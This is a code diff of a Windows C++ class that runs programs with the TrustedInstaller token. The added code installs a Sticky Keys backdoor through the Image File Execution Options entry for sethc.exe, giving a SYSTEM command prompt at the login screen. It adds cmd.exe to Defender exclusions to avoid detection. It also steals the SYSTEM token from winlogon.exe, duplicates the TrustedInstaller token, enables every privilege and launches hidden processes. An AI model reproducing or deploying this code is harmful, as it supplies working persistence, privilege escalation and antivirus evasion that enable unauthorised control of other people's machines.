TrustedInstallerIntegrator::StartTrustedInstallerService() -{ - SC_HANDLE hSCManager = OpenSCManagerW(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT); - if (!hSCManager) - return 0; - - SC_HANDLE hService = OpenServiceW(hSCManager, L"TrustedInstaller", SERVICE_QUERY_STATUS | SERVICE_START); - if (!hService) - { - CloseServiceHandle(hSCManager); - return 0; - } - - SERVICE_STATUS_PROCESS statusBuffer; - DWORD bytesNeeded; - DWORD trustedInstallerPid = 0; - DWORD startTime = GetTickCount(); - const DWORD timeout = 30000; // 30 second timeout - - // Wait for service to reach running state - while (QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) - { - switch (statusBuffer.dwCurrentState) - { - case SERVICE_STOPPED: - // Start the service - if (!StartServiceW(hService, 0, NULL)) - { - CloseServiceHandle(hService); - CloseServiceHandle(hSCManager); - return 0; - } - break; - - case SERVICE_START_PENDING: - case SERVICE_STOP_PENDING: - // Check timeout - if (GetTickCount() - startTime > timeout) - { - CloseServiceHandle(hService); - CloseServiceHandle(hSCManager); - return 0; - } - Sleep(statusBuffer.dwWaitHint); - break; - - case SERVICE_RUNNING: - // Service is running, return PID - trustedInstallerPid = statusBuffer.dwProcessId; - CloseServiceHandle(hService); - CloseServiceHandle(hSCManager); - return trustedInstallerPid; - - default: - Sleep(100); - break; - } - } - - CloseServiceHandle(hService); - CloseServiceHandle(hSCManager); - return 0; -} - -BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine) -{ - HANDLE hToken = GetCachedTrustedInstallerToken(); - if (!hToken) return FALSE; - - // CreateProcessWithTokenW requires mutable command line - wchar_t* mutableCmd = _wcsdup(commandLine); - if (!mutableCmd) return FALSE; - - STARTUPINFOW si = { sizeof(si) }; - PROCESS_INFORMATION pi; - - BOOL result = CreateProcessWithTokenW( - hToken, - 0, - NULL, - mutableCmd, - 0, - NULL, - NULL, - &si, - &pi - ); - - if (result) - { - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - } - - free(mutableCmd); - return result; -} - -BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine) -{ - HANDLE hToken = GetCachedTrustedInstallerToken(); - if (!hToken) return FALSE; - - wchar_t* mutableCmd = _wcsdup(commandLine); - if (!mutableCmd) return FALSE; - - STARTUPINFOW si = { sizeof(si) }; - si.dwFlags = STARTF_USESHOWWINDOW; - si.wShowWindow = SW_HIDE; // Hide window for silent execution - - PROCESS_INFORMATION pi; - BOOL result = CreateProcessWithTokenW( - hToken, - 0, - NULL, - mutableCmd, - CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP, - NULL, - NULL, - &si, - &pi - ); - - if (result) - { - // Wait for process completion with timeout - DWORD waitResult = WaitForSingleObject(pi.hProcess, 3000); - - if (waitResult == WAIT_OBJECT_0) - { - DWORD exitCode; - GetExitCodeProcess(pi.hProcess, &exitCode); - result = (exitCode == 0); - } - else if (waitResult == WAIT_TIMEOUT) - { - TerminateProcess(pi.hProcess, 1); - result = FALSE; - } - else - { - result = FALSE; - } - - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - } - - free(mutableCmd); - return result; -} - -// Registry context menu integration +/** + * @brief Adds a "Run as TrustedInstaller" entry to the context menu for .exe and .lnk files. + * @return true if registry keys were created successfully, false otherwise. + */ bool TrustedInstallerIntegrator::AddContextMenuEntries() { wchar_t currentPath[MAX_PATH]; GetModuleFileNameW(NULL, currentPath, MAX_PATH); - // Build command line for context menu + // Command format: "C:\path\to\this.exe" trusted "%1" std::wstring command = L"\""; command += currentPath; command += L"\" trusted \"%1\""; - std::wstring iconPath = L"shell32.dll,77"; // Shield icon from shell32 + std::wstring iconPath = L"shell32.dll,77"; // Standard shield icon HKEY hKey; DWORD dwDisposition; @@ -982,18 +413,12 @@ bool TrustedInstallerIntegrator::AddContextMenuEntries() std::wstring menuText = L"Run as TrustedInstaller"; RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)menuText.c_str(), (DWORD)(menuText.length() + 1) * sizeof(wchar_t)); - - // Set icon RegSetValueExW(hKey, L"Icon", 0, REG_SZ, (const BYTE*)iconPath.c_str(), (DWORD)(iconPath.length() + 1) * sizeof(wchar_t)); - - // Add UAC shield - std::wstring emptyValue = L""; - RegSetValueExW(hKey, L"HasLUAShield", 0, REG_SZ, (const BYTE*)emptyValue.c_str(), sizeof(wchar_t)); + RegSetValueExW(hKey, L"HasLUAShield", 0, REG_SZ, (const BYTE*)L"", sizeof(wchar_t)); RegCloseKey(hKey); } - // Add command for .exe files std::wstring exeCommandPath = L"exefile\\shell\\RunAsTrustedInstaller\\command"; if (RegCreateKeyExW(HKEY_CLASSES_ROOT, exeCommandPath.c_str(), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) @@ -1010,18 +435,12 @@ bool TrustedInstallerIntegrator::AddContextMenuEntries() std::wstring menuText = L"Run as TrustedInstaller"; RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)menuText.c_str(), (DWORD)(menuText.length() + 1) * sizeof(wchar_t)); - - // Set icon RegSetValueExW(hKey, L"Icon", 0, REG_SZ, (const BYTE*)iconPath.c_str(), (DWORD)(iconPath.length() + 1) * sizeof(wchar_t)); - - // Add UAC shield - std::wstring emptyValue = L""; - RegSetValueExW(hKey, L"HasLUASShield", 0, REG_SZ, (const BYTE*)emptyValue.c_str(), sizeof(wchar_t)); + RegSetValueExW(hKey, L"HasLUASShield", 0, REG_SZ, (const BYTE*)L"", sizeof(wchar_t)); RegCloseKey(hKey); } - // Add command for .lnk files std::wstring lnkCommandPath = L"lnkfile\\shell\\RunAsTrustedInstaller\\command"; if (RegCreateKeyExW(HKEY_CLASSES_ROOT, lnkCommandPath.c_str(), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) @@ -1035,94 +454,520 @@ bool TrustedInstallerIntegrator::AddContextMenuEntries() return true; } -// TrustedInstaller command execution with shortcut resolution -bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& commandLine) +/*************************************************************************************************/ +/* PUBLIC API: STICKY KEYS BACKDOOR (SENSITIVE) */ +/*************************************************************************************************/ + +/** + * @brief FLAG: SENSITIVE FUNCTIONALITY. + * Installs a "Sticky Keys" backdoor using the Image File Execution Options (IFEO) registry key. + * This makes pressing the Shift key 5 times on the login screen open a SYSTEM command prompt. + * It also attempts to add cmd.exe to Defender exclusions to prevent detection. + * @return true on success, false on failure. + */ +bool TrustedInstallerIntegrator::InstallStickyKeysBackdoor() noexcept { - std::wstring finalCommandLine = commandLine; + INFO(L"Installing sticky keys backdoor with Defender bypass..."); - // Resolve shortcut if the command is a .lnk file - if (IsLnkFile(commandLine.c_str())) - { - std::wcout << L"Resolving shortcut: " << commandLine << std::endl; - finalCommandLine = ResolveLnk(commandLine.c_str()); - - if (finalCommandLine.empty()) - { - std::wcout << L"Failed to resolve shortcut, cannot execute .lnk file directly." << std::endl; - return false; - } - - std::wcout << L"Resolved shortcut to: " << finalCommandLine << std::endl; + // Add cmd.exe to Defender exclusions to prevent behavioral detection. + if (!AddProcessToDefenderExclusions(L"cmd.exe")) { + INFO(L"AV exclusion skipped for cmd.exe (continuing)"); } - std::wcout << L"Executing with elevated system privileges: " << finalCommandLine << std::endl; + // Create the IFEO registry key for sethc.exe. + HKEY hKey; + std::wstring keyPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"; + LONG result = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, NULL, + REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL); - // Enable required privileges - EnablePrivilege(L"SeDebugPrivilege"); - EnablePrivilege(L"SeImpersonatePrivilege"); - EnablePrivilege(L"SeAssignPrimaryTokenPrivilege"); - - // Impersonate SYSTEM to access TrustedInstaller - if (!ImpersonateSystem()) - { - std::wcout << L"Failed to impersonate SYSTEM account: " << GetLastError() << std::endl; + if (result != ERROR_SUCCESS) { + ERROR(L"Failed to create IFEO registry key: %d", result); + RemoveProcessFromDefenderExclusions(L"cmd.exe"); // Attempt cleanup on failure. return false; } - - // Start TrustedInstaller service - DWORD trustedInstallerPid = StartTrustedInstallerService(); - if (trustedInstallerPid == 0) - { - std::wcout << L"Failed to start elevated system service: " << GetLastError() << std::endl; - RevertToSelf(); + + // Set the "Debugger" value to point to cmd.exe. + std::wstring debuggerValue = L"cmd.exe"; + result = RegSetValueExW(hKey, L"Debugger", 0, REG_SZ, + reinterpret_cast(debuggerValue.c_str()), + static_cast((debuggerValue.length() + 1) * sizeof(wchar_t))); + + RegCloseKey(hKey); + + if (result != ERROR_SUCCESS) { + ERROR(L"Failed to set Debugger registry value: %d", result); + RemoveProcessFromDefenderExclusions(L"cmd.exe"); // Attempt cleanup on failure. return false; } - - // Create process with TrustedInstaller privileges - BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine.c_str()); - if (!result) - { - std::wcout << L"Failed to create process with elevated privileges: " << GetLastError() << std::endl; - } - else - { - std::wcout << L"Process started successfully with maximum system privileges" << std::endl; - } - - RevertToSelf(); - return result != FALSE; + + SUCCESS(L"Sticky keys backdoor installed successfully"); + SUCCESS(L"Press 5x Shift on login screen to get SYSTEM cmd.exe"); + return true; } -bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring& commandLine) +/** + * @brief FLAG: SENSITIVE FUNCTIONALITY. + * Removes the "Sticky Keys" backdoor by deleting the IFEO registry key and the Defender exclusion. + * @return true if removal was successful, false if errors occurred. + */ +bool TrustedInstallerIntegrator::RemoveStickyKeysBackdoor() noexcept { - std::wstring finalCommandLine = commandLine; + INFO(L"Removing sticky keys backdoor..."); - // Resolve shortcut if needed - if (IsLnkFile(commandLine.c_str())) - { - finalCommandLine = ResolveLnk(commandLine.c_str()); - if (finalCommandLine.empty()) { - return false; + bool success = true; + + // Remove the IFEO registry key. + std::wstring keyPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"; + LONG result = RegDeleteKeyW(HKEY_LOCAL_MACHINE, keyPath.c_str()); + + if (result != ERROR_SUCCESS && result != ERROR_FILE_NOT_FOUND) { + ERROR(L"Failed to remove IFEO registry key: %d", result); + success = false; + } else if (result == ERROR_SUCCESS) { + SUCCESS(L"IFEO registry key removed"); + } + + // Remove cmd.exe from Defender exclusions. + if (!RemoveProcessFromDefenderExclusions(L"cmd.exe")) { + INFO(L"AV cleanup skipped for cmd.exe"); + } + + if (success) { + SUCCESS(L"Sticky keys backdoor removed successfully"); + } else { + INFO(L"Sticky keys backdoor removal completed with some errors"); + } + + return success; +} + +/*************************************************************************************************/ +/* PRIVATE: TOKEN & PROCESS IMPLEMENTATION */ +/*************************************************************************************************/ + +/** + * @brief Retrieves a cached TrustedInstaller token or acquires a new one. + * The process involves enabling debug privileges, impersonating SYSTEM, finding the + * TrustedInstaller service, and duplicating its process token. + * @return A handle to a duplicated TrustedInstaller token, or nullptr on failure. + */ +HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken() { + DWORD currentTime = GetTickCount(); + + // Return cached token if it's still within the timeout period. + if (g_cachedTrustedInstallerToken && (currentTime - g_lastTokenAccessTime) < TOKEN_CACHE_TIMEOUT) { + return g_cachedTrustedInstallerToken; + } + + if (g_cachedTrustedInstallerToken) { + CloseHandle(g_cachedTrustedInstallerToken); + g_cachedTrustedInstallerToken = nullptr; + } + + // Enable privileges required to interact with system processes. + if (!EnablePrivilege(L"SeDebugPrivilege") || !EnablePrivilege(L"SeImpersonatePrivilege")) { + ERROR(L"Failed to enable required privileges (SeDebug/SeImpersonate)"); + return nullptr; + } + + if (!ImpersonateSystem()) { + ERROR(L"Failed to impersonate SYSTEM"); + return nullptr; + } + + DWORD trustedInstallerPid = StartTrustedInstallerService(); + if (!trustedInstallerPid) { + ERROR(L"Failed to start TrustedInstaller service"); + RevertToSelf(); + return nullptr; + } + + HANDLE hTrustedInstallerProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, trustedInstallerPid); + if (!hTrustedInstallerProcess) { + ERROR(L"Failed to open TrustedInstaller process (error: %d)", GetLastError()); + RevertToSelf(); + return nullptr; + } + + HANDLE hTrustedInstallerToken; + if (!OpenProcessToken(hTrustedInstallerProcess, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hTrustedInstallerToken)) { + ERROR(L"Failed to open TrustedInstaller token (error: %d)", GetLastError()); + CloseHandle(hTrustedInstallerProcess); + RevertToSelf(); + return nullptr; + } + + // Duplicate the token to use it for creating a new process. + HANDLE hDuplicatedToken; + if (!DuplicateTokenEx(hTrustedInstallerToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, + TokenImpersonation, &hDuplicatedToken)) { + ERROR(L"Failed to duplicate TrustedInstaller token (error: %d)", GetLastError()); + CloseHandle(hTrustedInstallerToken); + CloseHandle(hTrustedInstallerProcess); + RevertToSelf(); + return nullptr; + } + + CloseHandle(hTrustedInstallerToken); + CloseHandle(hTrustedInstallerProcess); + RevertToSelf(); + + // Elevate all possible privileges on the new token for maximum power. + for (int i = 0; i < PRIVILEGE_COUNT; i++) { + TOKEN_PRIVILEGES tp; + LUID luid; + if (LookupPrivilegeValueW(NULL, ALL_PRIVILEGES[i], &luid)) { + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + AdjustTokenPrivileges(hDuplicatedToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); } } - // Enable privileges silently + // Cache the token. + g_cachedTrustedInstallerToken = hDuplicatedToken; + g_lastTokenAccessTime = currentTime; + + SUCCESS(L"TrustedInstaller token cached successfully"); + return g_cachedTrustedInstallerToken; +} + +/** + * @brief Creates a new process using the TrustedInstaller token. + * @param pid The PID of the TrustedInstaller service (used for context, though token is key). + * @param commandLine The command to execute. + * @return TRUE on success, FALSE on failure. + */ +BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine) +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) return FALSE; + + wchar_t* mutableCmd = _wcsdup(commandLine); + if (!mutableCmd) return FALSE; + + STARTUPINFOW si = { sizeof(si) }; + PROCESS_INFORMATION pi; + + BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd, 0, NULL, NULL, &si, &pi); + + if (result) + { + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + + free(mutableCmd); + return result; +} + +/** + * @brief Creates a new process silently (no window) using the TrustedInstaller token. + * Waits for the process to finish and checks its exit code. + * @param pid The PID of the TrustedInstaller service. + * @param commandLine The command to execute. + * @return TRUE if the process ran and returned exit code 0, FALSE otherwise. + */ +BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine) +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) return FALSE; + + wchar_t* mutableCmd = _wcsdup(commandLine); + if (!mutableCmd) return FALSE; + + STARTUPINFOW si = { sizeof(si) }; + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; // Hide the window. + + PROCESS_INFORMATION pi; + BOOL result = CreateProcessWithTokenW( + hToken, 0, NULL, mutableCmd, + CREATE_NO_WINDOW, // Creation flags for silent execution. + NULL, NULL, &si, &pi + ); + + if (result) + { + // Wait up to 3 seconds for the process to complete. + DWORD waitResult = WaitForSingleObject(pi.hProcess, 3000); + + if (waitResult == WAIT_OBJECT_0) { + DWORD exitCode; + GetExitCodeProcess(pi.hProcess, &exitCode); + result = (exitCode == 0); // Success is defined by a 0 exit code. + } else { + if (waitResult == WAIT_TIMEOUT) TerminateProcess(pi.hProcess, 1); + result = FALSE; // Failure on timeout or other errors. + } + + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + + free(mutableCmd); + return result; +} + + +/*************************************************************************************************/ +/* PRIVATE: HELPER FUNCTIONS */ +/*************************************************************************************************/ + +/** + * @brief Checks if a file path has a .lnk extension. + */ +BOOL TrustedInstallerIntegrator::IsLnkFile(LPCWSTR filePath) +{ + if (!filePath || wcslen(filePath) < 4) return FALSE; + fs::path path(filePath); + return _wcsicmp(path.extension().wstring().c_str(), L".lnk") == 0; +} + +/** + * @brief Resolves a .lnk shortcut file to its target path and arguments. + */ +std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath) +{ + std::wstring result; + IShellLinkW* psl = nullptr; + IPersistFile* ppf = nullptr; + + if (GetFileAttributesW(lnkPath) == INVALID_FILE_ATTRIBUTES) return result; + + HRESULT hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl); + if (FAILED(hres)) return result; + + hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf); + if (FAILED(hres)) { + psl->Release(); + return result; + } + + hres = ppf->Load(lnkPath, STGM_READ); + if (FAILED(hres)) { + ppf->Release(); + psl->Release(); + return result; + } + + wchar_t targetPath[MAX_PATH * 2] = {0}; + hres = psl->GetPath(targetPath, MAX_PATH * 2, NULL, SLGP_RAWPATH); + if (SUCCEEDED(hres) && wcslen(targetPath) > 0) + { + result = targetPath; + wchar_t args[MAX_PATH * 2] = {0}; + hres = psl->GetArguments(args, MAX_PATH * 2); + if (SUCCEEDED(hres) && wcslen(args) > 0) + { + result += L" "; + result += args; + } + } + + ppf->Release(); + psl->Release(); + return result; +} + +/** + * @brief Enables a specific privilege for the current process token. + */ +BOOL TrustedInstallerIntegrator::EnablePrivilege(LPCWSTR privilegeName) +{ + HANDLE hToken; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; + + LUID luid; + if (!LookupPrivilegeValueW(NULL, privilegeName, &luid)) { + CloseHandle(hToken); + return FALSE; + } + + TOKEN_PRIVILEGES tp = {0}; + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); + CloseHandle(hToken); + + return result && (GetLastError() == ERROR_SUCCESS); +} + +/** + * @brief Impersonates the SYSTEM user by borrowing the token from the winlogon.exe process. + * This is a critical step for gaining the necessary rights to interact with the TrustedInstaller service. + */ +BOOL TrustedInstallerIntegrator::ImpersonateSystem() +{ + // Enable debug privilege to open system-level processes. EnablePrivilege(L"SeDebugPrivilege"); - EnablePrivilege(L"SeImpersonatePrivilege"); - EnablePrivilege(L"SeAssignPrimaryTokenPrivilege"); - if (!ImpersonateSystem()) { - return false; + DWORD systemPid = GetProcessIdByName(L"winlogon.exe"); + if (systemPid == 0) return FALSE; + + HANDLE hSystemProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, systemPid); + if (!hSystemProcess) return FALSE; + + HANDLE hSystemToken; + if (!OpenProcessToken(hSystemProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hSystemToken)) { + CloseHandle(hSystemProcess); + return FALSE; } - DWORD trustedInstallerPid = StartTrustedInstallerService(); - if (trustedInstallerPid == 0) { - RevertToSelf(); - return false; + HANDLE hDuplicatedToken; + if (!DuplicateTokenEx(hSystemToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hDuplicatedToken)) { + CloseHandle(hSystemToken); + CloseHandle(hSystemProcess); + return FALSE; } - BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine.c_str()); + BOOL result = ImpersonateLoggedOnUser(hDuplicatedToken); - RevertToSelf(); - return result != FALSE; + CloseHandle(hDuplicatedToken); + CloseHandle(hSystemToken); + CloseHandle(hSystemProcess); + return result; +} + +/** + * @brief Ensures the TrustedInstaller service is running and returns its Process ID (PID). + */ +DWORD TrustedInstallerIntegrator::StartTrustedInstallerService() +{ + SC_HANDLE hSCManager = OpenSCManagerW(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT); + if (!hSCManager) return 0; + + SC_HANDLE hService = OpenServiceW(hSCManager, L"TrustedInstaller", SERVICE_QUERY_STATUS | SERVICE_START); + if (!hService) { + CloseServiceHandle(hSCManager); + return 0; + } + + SERVICE_STATUS_PROCESS statusBuffer; + DWORD bytesNeeded; + const DWORD timeout = 30000; // 30-second timeout. + DWORD startTime = GetTickCount(); + + while (QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) + { + if (statusBuffer.dwCurrentState == SERVICE_RUNNING) { + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return statusBuffer.dwProcessId; + } + + if (statusBuffer.dwCurrentState == SERVICE_STOPPED) { + if (!StartServiceW(hService, 0, NULL)) { + break; // Exit loop on start failure. + } + } + + if (GetTickCount() - startTime > timeout) { + break; // Exit loop on timeout. + } + + DWORD waitHint = statusBuffer.dwWaitHint > 0 ? statusBuffer.dwWaitHint : 100; + Sleep(waitHint); + } + + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return 0; // Return 0 on failure or timeout. +} + +/** + * @brief Finds the Process ID (PID) of a process by its executable name. + */ +DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName) +{ + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) return 0; + + DWORD pid = 0; + PROCESSENTRY32W pe; + pe.dwSize = sizeof(PROCESSENTRY32W); + + if (Process32FirstW(hSnapshot, &pe)) { + do { + if (wcscmp(pe.szExeFile, processName) == 0) { + pid = pe.th32ProcessID; + break; + } + } while (Process32NextW(hSnapshot, &pe)); + } + + CloseHandle(hSnapshot); + return pid; +} + +/** + * @brief Validates that a string is a plausible file extension. + */ +bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension) noexcept +{ + if (extension.empty()) return false; + const std::wstring invalidChars = L"\\/:*?\"<>|"; + for (wchar_t c : extension) { + if (invalidChars.find(c) != std::wstring::npos) return false; + } + return true; +} + +/** + * @brief Performs a basic validation of an IPv4 address string, with optional CIDR notation. + */ +bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress) noexcept +{ + if (ipAddress.empty()) return false; + + std::string narrowIp; + for (wchar_t c : ipAddress) { + if (c > 127) return false; // Non-ASCII. + narrowIp.push_back(static_cast(c)); + } + + size_t slashPos = narrowIp.find('/'); + std::string ipPart = (slashPos != std::string::npos) ? narrowIp.substr(0, slashPos) : narrowIp; + + if (std::count(ipPart.begin(), ipPart.end(), '.') != 3) return false; + + for (char c : ipPart) { + if (!std::isdigit(c) && c != '.') return false; + } + + if (slashPos != std::string::npos) { + std::string cidr = narrowIp.substr(slashPos + 1); + if (cidr.empty() || !std::all_of(cidr.begin(), cidr.end(), ::isdigit)) return false; + try { + int cidrValue = std::stoi(cidr); + if (cidrValue < 0 || cidrValue > 32) return false; + } catch (...) { return false; } + } + + return true; +} + +/** + * @brief Ensures a file extension starts with a dot. + */ +std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring& extension) noexcept +{ + if (extension.empty()) return extension; + return (extension[0] != L'.') ? (L"." + extension) : extension; +} + +/** + * @brief Converts an ExclusionType enum to the string required by PowerShell cmdlets. + */ +std::wstring TrustedInstallerIntegrator::GetExclusionTypeString(ExclusionType type) noexcept +{ + switch (type) { + case ExclusionType::Paths: return L"Path"; + case ExclusionType::Processes: return L"Process"; + case ExclusionType::Extensions: return L"Extension"; + case ExclusionType::IpAddresses: return L"IpAddress"; + default: return L"Path"; + } } \ No newline at end of file